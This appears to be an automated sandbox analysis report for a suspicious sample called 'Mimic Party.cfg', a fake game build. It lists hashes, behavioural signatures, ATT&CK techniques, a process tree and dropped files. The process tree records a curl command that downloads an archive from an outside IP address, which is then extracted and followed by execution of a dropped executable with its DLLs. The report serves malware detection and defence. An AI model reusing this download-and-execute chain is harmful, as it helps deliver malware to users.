f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa

Analysis

user interaction
yes
max time kernel
193s
max time network
153s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
20/10/2026, 17:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Mimic Party.cfg
Size 28B
Sample261020-vncyjsty4k
SHA256 f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa
MD5 3e268967d5e71c4b688e7875a87df8d0
SHA1 6d481c917c9aa89c40be3bca564d9160df8e7efb
SHA512 75ea9c2ec33dd35e5ba36131c6333d4c1a148aaa9bd1d55b03249f9e39c55d14575db2d56edb8986fa9082cd5a57ccf1524cda3fcd0617956f1854230cba615a
MD5 SHA1 SHA512

Score

7^/10

execution

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
320	Mimic Party.exe
1932	Mimic Party.exe

Loads dropped DLL 4 IoCs

pid	Process
1932	Mimic Party.exe
1932	Mimic Party.exe
1932	Mimic Party.exe
1932	Mimic Party.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3368	cmd.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2545564138-786060179-1728272436-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2545564138-786060179-1728272436-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3988	powershell.exe
3988	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeRestorePrivilege	632	7zG.exe
Token: 35	632	7zG.exe
Token: SeSecurityPrivilege	632	7zG.exe
Token: SeSecurityPrivilege	632	7zG.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
632	7zG.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe
3452	OpenWith.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 2812	3988	powershell.exe	100
PID 2812 wrote to memory of 1572	2812	cmd.exe	101
PID 320 wrote to memory of 1932	320	Mimic Party.exe	109

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	39	curl/8.7.1

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Mimic Party.cfg"
1⤵
- Executes a command shell one-liner
- Modifies registry class
PID:3368

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\curl.exe
    curl http://51.222.11.233/mmp.zip --output a.zip
    3⤵
    PID:1572

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\a\" -spe -an -ai#7zMap25002:60:7zEvent1152
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:632

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4140

C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.exe
"C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:320
- C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe
  "C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_xdhg02vu.hle.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdhg02vu.hle.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Mimic Party.cfg

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.cfg
Size 28B
SHA256 f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa
MD5 3e268967d5e71c4b688e7875a87df8d0
SHA1 6d481c917c9aa89c40be3bca564d9160df8e7efb
SHA512 75ea9c2ec33dd35e5ba36131c6333d4c1a148aaa9bd1d55b03249f9e39c55d14575db2d56edb8986fa9082cd5a57ccf1524cda3fcd0617956f1854230cba615a
MD5 SHA1 SHA512

Submit Download

Mimic Party.exe

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.exe
Size 789KB
SHA256 841f2213e992437bbbbd6a0cd185d41c904967b184699180d145b168f8240765
MD5 7b7b432ccf89134be730d9a544fad64e
SHA1 53b2fdd861817b1d6c6c72764dc122e5dd2478ff
SHA512 ba03553823f8a9566f9f97dae1ea2c73071c429265e67a78ed07dce545b840173be963507c89d57a3b95930200e175a442937f71b9fa8668dd794c752880266b
SSDEEP 6144:5zkifDg0Hs9Kxm07d2wPNJjGebXhQJ3Wj2nazNhctPu:VH8/AG0/2aXc9u
TLSH
T109058319F7719599F00EB3B68E02C97D51622F89332CB6A71DE07F773A395B28D29240
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Mimic Party.exe

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe
Size 652KB
SHA256 811c3b04688acd0d44850c308d318b5bbf1de1c2d6396d829905e4d9b5df6ac0
MD5 b6950f2bea6813912fe514a485384288
SHA1 77995af9a8beddaedd6bec507cb3e28845478b59
SHA512 3db66dfa5f3efb5d9054373153e2365a49bd4daf36192c52bbe00d97cc2faa250b67c3481f477ddc63597d2cb5f2fcdffb3dc4c03b6d2a09f4ce70086fa86a58
SSDEEP 3072:YwazAjvuMeUwZPRyYzK4JHcUIcLShRkxnskWLXt/oxnnaAQWyhsdHpvPYtME:TaMjvuUwZp0UhLB3Wj2nazNhctPu
TLSH
T173E40C4EF371A196F04E73B69E02D9BD42511FA4321CBA261DF07FB7393A2728C5A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SteamOverlay64.dll

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\SteamOverlay64.dll
Size 114KB
SHA256 f784b4b85b627c7ea541bd2a90c9fc6e9736a0731707c31265aa86fe684dc2df
MD5 0a5429b888c75f6525e1100e32dd2b69
SHA1 8ae224580aa0838a7b1570c79d4d8f27a1b46d19
SHA512 5f77ac9619ccb5baebabb2e406ce265148ad18c6e1162c7d4c3a5656f38abedf90f756a829da856312689a738a3258382f37a279843bf7db0c14ac953c6992ef
SSDEEP 1536:h1iaPnCtV4+1/IGiaA7bSMhP3rOy843NxnpWJtRsWkd09dl38s6BtcBRXh4:h1iaPn5+uGi/7bpxaX43Ni3aMLJB1h
TLSH
T163B34A5B73E500BBE0768239C8A71A15D376B8110760DBEF03A0466A1F277E19D3EF62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UnityPlayer.dll

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\UnityPlayer.dll
Size 34.9MB
SHA256 156b1eecbaa08421a7d177972f594c9d161ef19663eccd85bbd909a600aabe24
MD5 50cdef90fdfd79a6486be2fd3f2e73fd
SHA1 1bd121a6fc1120f912e7d489d3c73a342c1dad39
SHA512 8dec4e3f08c28c2cebfff3a0946a7c4b2695078428ba271ee0e7ee28eb57882a7459fe000abe298dac606e39685509d6a09f18e1603d67efae5d0aa777a80ef8
SSDEEP 393216:bMc8Ty9WWuac7bqJb4mbz2QbB6HYGzxulF0UacUnWfRjNkUdR:bMTTyQWtcHFx0pX
TLSH
T13F87AE56A2B951C8D47BC078975FA91BF7B1344903309AEB52E04AA46F33FE12A7F350
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WINMM.dll

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\WINMM.dll
Size 490KB
SHA256 063a8d5e57cd760a8eafb3573146cc97e18180412a5a0efc23614e23dc1a2568
MD5 3fb1fae80a788ffd42b7f7047bc0903d
SHA1 079be776a6618e43865bb4c033e119fcb7ae3306
SHA512 08f994f0f4e8f268e77d29556eef805cb3405862fa9986c7e7dd15d5257e2d7366a4e77e07d6a4ba693fc2bc53be0f13eb36a5ee36b8e1dd2d05a8c394f14221
SSDEEP 6144:zz01cAnrjsEtjiT5BZhK6H8jEY6tbNUvvJgVGs3YUlXULmyU1vwjmvy:vecAnrJjefK6c5vqVGGNXULmJvmk
TLSH
T178B48F19A2A842B9E567E178C9430A07E7B1BC464761D7CF03E09BBB2F277E0563E351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dlllist.txt

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\dlllist.txt
Size 65B
SHA256 a86ab829c15bc4371f01fac3c349e8d3e6e69c2c83232e4d03653c9153252306
MD5 d832cfb801a73f20b44e7254afc18716
SHA1 db5a0939b80a164fd52d9d735fd77ebbfd97d0c9
SHA512 92bf6f5395db471abb8651716f6fddf917303b7d0105eeb4c6b01ad579f0bce97ecc58b8705659b3376b164fe2060abbe7dc79d7f3655f881e8ddd87d91fb84e
TLSH
T1D2A0020DDBE2D2E859051D5164571C1F170FC22377941B44A477CAC3A7572FBB05003A
MD5 SHA1 SHA512 TLSH

Submit Download

dstorage.dll

Path C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\dstorage.dll
Size 202KB
SHA256 cae65787f61514bec6f012f44546e68b19e39d8854a9ab52af813370d44b272a
MD5 08c190f8d8a2c4e20024b987c979de9d
SHA1 a882f13df94f7e2dc3c0f2c4fbaa11bd988e1937
SHA512 99002ae98cbd9cc9f377dd7b94c8d7883a0ff9ab02432585ffe2cf79600883d4d743790836fac425cb7f98126c255ac315130b861c464983c46be7a6f3064601
SSDEEP 3072:Tzp2M7bV6ITJngWPqo5KVK8xHdoSe1OvnC/8FSz1RO2bR5cuL3TBJHi+eA+:TzsM7bLJn7PqouhHd9rVSZrtLTBJHiP
TLSH
T1B8148E55B6E400BAEDB7817CC9934606E6B2781107609BDF03A0837DAF2FBE8953D761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3988-10-0x00000266B5600000-0x00000266B5622000-memory.dmp

Download

memory/3988-11-0x00000266B6360000-0x00000266B63A4000-memory.dmp

Download

memory/3988-12-0x00000266B6430000-0x00000266B64A6000-memory.dmp

Download